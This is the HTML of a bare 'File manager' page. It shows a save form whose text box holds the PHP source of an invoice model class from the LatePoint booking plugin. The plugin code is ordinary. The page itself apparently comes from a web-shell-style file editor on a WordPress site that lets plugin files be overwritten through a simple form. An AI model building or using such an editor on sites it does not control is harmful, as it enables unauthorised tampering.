File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsInvoiceModel extends OsModel {
	public $id,
		$order_id,
		$invoice_number,
		$data,
		$charge_amount,
		$payment_portion,
		$status,
		$access_key,
		$due_at,
		$updated_at,
		$created_at;

	function __construct( $id = false ) {
		parent::__construct();
		$this-&gt;table_name = LATEPOINT_TABLE_ORDER_INVOICES;

		if ( $id ) {
			$this-&gt;load_by_id( $id );
		}
	}

	public function get_receipt_url(): string {
		$transaction = new OsTransactionModel();
		$transaction = $transaction-&gt;where( [ &#039;invoice_id&#039; =&gt; $this-&gt;id, &#039;status&#039; =&gt; LATEPOINT_TRANSACTION_STATUS_SUCCEEDED ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
		if ( $transaction &amp;&amp; ! $transaction-&gt;is_new_record() ) {
			return $transaction-&gt;get_receipt_url();
		} else {
			return $this-&gt;get_access_url();
		}
	}

	public function properties_to_query(): array {
		return [
			&#039;status&#039;          =&gt; __( &#039;Status&#039;, &#039;latepoint&#039; ),
			&#039;payment_portion&#039; =&gt; __( &#039;Payment Portion&#039;, &#039;latepoint&#039; ),
		];
	}

	public function get_customer(): OsCustomerModel {
		return $this-&gt;get_order()-&gt;get_customer();
	}


	public function generate_data_vars(): array {

		$vars[&#039;id&#039;] = $this-&gt;id;
		$vars[&#039;order_id&#039;] = $this-&gt;order_id;
		$vars[&#039;invoice_number&#039;] = $this-&gt;get_invoice_number();
		$vars[&#039;payment_portion&#039;] = $this-&gt;payment_portion;
		$vars[&#039;status&#039;] = $this-&gt;status;
		$vars[&#039;data&#039;] = $this-&gt;data;
		$vars[&#039;charge_amount&#039;] = $this-&gt;charge_amount;
		$vars[&#039;access_key&#039;] = $this-&gt;access_key;
		$vars[&#039;due_at&#039;] = $this-&gt;due_at;

		$vars[&#039;customer&#039;]     = $this-&gt;get_customer()-&gt;get_data_vars();
		$vars[&#039;order&#039;]        = $this-&gt;get_order()-&gt;get_first_level_data_vars();
		$vars[&#039;transactions&#039;] = [];

		$transactions = $this-&gt;get_successful_payments();
		if ( $transactions ) {
			foreach ( $transactions as $transaction ) {
				$vars[&#039;transactions&#039;][] = $transaction-&gt;get_data_vars();
			}
		}

		return $vars;
	}

	public function get_order(): OsOrderModel {
		if ( $this-&gt;order_id ) {
			if ( ! isset( $this-&gt;order ) || ( isset( $this-&gt;order ) &amp;&amp; ( $this-&gt;order-&gt;id != $this-&gt;order_id ) ) ) {
				$this-&gt;order = new OsOrderModel( $this-&gt;order_id );
			}
		} else {
			$this-&gt;order = new OsOrderModel();
		}

		return $this-&gt;order;
	}

	public function get_successful_payments(): array {
		$transactions = new OsTransactionModel();
		$transactions = $transactions-&gt;where( [ &#039;status&#039; =&gt; LATEPOINT_TRANSACTION_STATUS_SUCCEEDED, &#039;invoice_id&#039; =&gt; $this-&gt;id ] )-&gt;get_results_as_models();

		return $transactions;
	}


	protected function params_to_sanitize() {
		return [
			&#039;charge_amount&#039; =&gt; &#039;money&#039;,
		];
	}

	/**
	 * @param string $new_status
	 *
	 * @return bool
	 */
	public function change_status( string $new_status ): bool {
		$old_status = $this-&gt;status;
		$old_invoice = clone $this;
		if ( $old_status == $new_status ) {
			return true;
		}
		if ( $this-&gt;update_attributes( [ &#039;status&#039; =&gt; $new_status ] ) ) {
			/**
			 * Invoice status has been changed
			 *
			 * @param {OsInvoiceModel} $invoice invoice model
			 * @param {string} $old_status previous status of the invoice
			 * @param {string} $new_status new status of the invoice
			 *
			 * @since 5.1.0
			 * @hook latepoint_invoice_status_changed
			 *
			 */
			do_action( &#039;latepoint_invoice_status_changed&#039;, $this, $old_status, $new_status );
			/**
			 * Invoice was updated
			 *
			 * @param {OsInvoiceModel} $invoice instance of invoice model after it was updated
			 * @param {OsInvoiceModel} $old_invoice instance of invoice model before it was updated
			 *
			 * @since 5.1.0
			 * @hook latepoint_invoice_updated
			 *
			 */
			do_action( &#039;latepoint_invoice_updated&#039;, $this, $old_invoice );

			return true;
		} else {
			return false;
		}

	}

	public function get_invoice_number(): string {
		if(!empty($this-&gt;invoice_number)) return $this-&gt;invoice_number;
		if(empty($this-&gt;id)) return &#039;&#039;;
		$this-&gt;invoice_number = OsSettingsHelper::get_settings_value( &#039;invoices_number_prefix&#039;, &#039;INV-&#039; ).sprintf(&#039;1%06d&#039;, $this-&gt;id);
		$this-&gt;update_attributes([&#039;invoice_number&#039; =&gt; $this-&gt;invoice_number]);
		return $this-&gt;invoice_number;
	}


	protected function before_save() {
		if ( empty( $this-&gt;status ) ) {
			$this-&gt;status = LATEPOINT_INVOICE_STATUS_OPEN;
		}
		if ( empty( $this-&gt;due_at ) ) {
			$this-&gt;due_at = OsTimeHelper::now_datetime_in_format( LATEPOINT_DATETIME_DB_FORMAT );
		}
		if ( empty( $this-&gt;access_key ) ) {
			$this-&gt;access_key = OsUtilHelper::generate_uuid();
		}
	}

	public function get_readable_due_at(): string {
		try {
			return OsTimeHelper::get_readable_date( new OsWpDateTime( $this-&gt;due_at, new DateTimeZone( &#039;UTC&#039; ) ) );
		} catch ( Exception $e ) {
			return &#039;n/a&#039;;
		}
	}

	public function get_access_url(): string {
		return OsRouterHelper::build_admin_post_link( [ &#039;invoices&#039;, &#039;view_by_key&#039; ], [ &#039;key&#039; =&gt; $this-&gt;access_key ] );
	}

	public function get_pay_url(): string {
		return OsRouterHelper::build_admin_post_link( [ &#039;invoices&#039;, &#039;summary_before_payment&#039; ], [ &#039;key&#039; =&gt; $this-&gt;access_key ] );
	}


	protected function params_to_save( $role = &#039;admin&#039; ): array {
		$params_to_save = [
			&#039;id&#039;,
			&#039;order_id&#039;,
			&#039;invoice_number&#039;,
			&#039;payment_portion&#039;,
			&#039;status&#039;,
			&#039;data&#039;,
			&#039;charge_amount&#039;,
			&#039;access_key&#039;,
			&#039;due_at&#039;,
		];

		return $params_to_save;
	}


	protected function allowed_params( $role = &#039;admin&#039; ): array {
		$allowed_params = [
			&#039;id&#039;,
			&#039;order_id&#039;,
			&#039;invoice_number&#039;,
			&#039;payment_portion&#039;,
			&#039;status&#039;,
			&#039;data&#039;,
			&#039;charge_amount&#039;,
			&#039;access_key&#039;,
			&#039;due_at&#039;,
		];

		return $allowed_params;
	}


	protected function properties_to_validate(): array {
		$validations = [
			&#039;order_id&#039; =&gt; [ &#039;presence&#039; ],
			&#039;status&#039;   =&gt; [ &#039;presence&#039; ],
		];

		return $validations;
	}
}</textarea><input type='submit' name='save' value='Save' style=''/></form>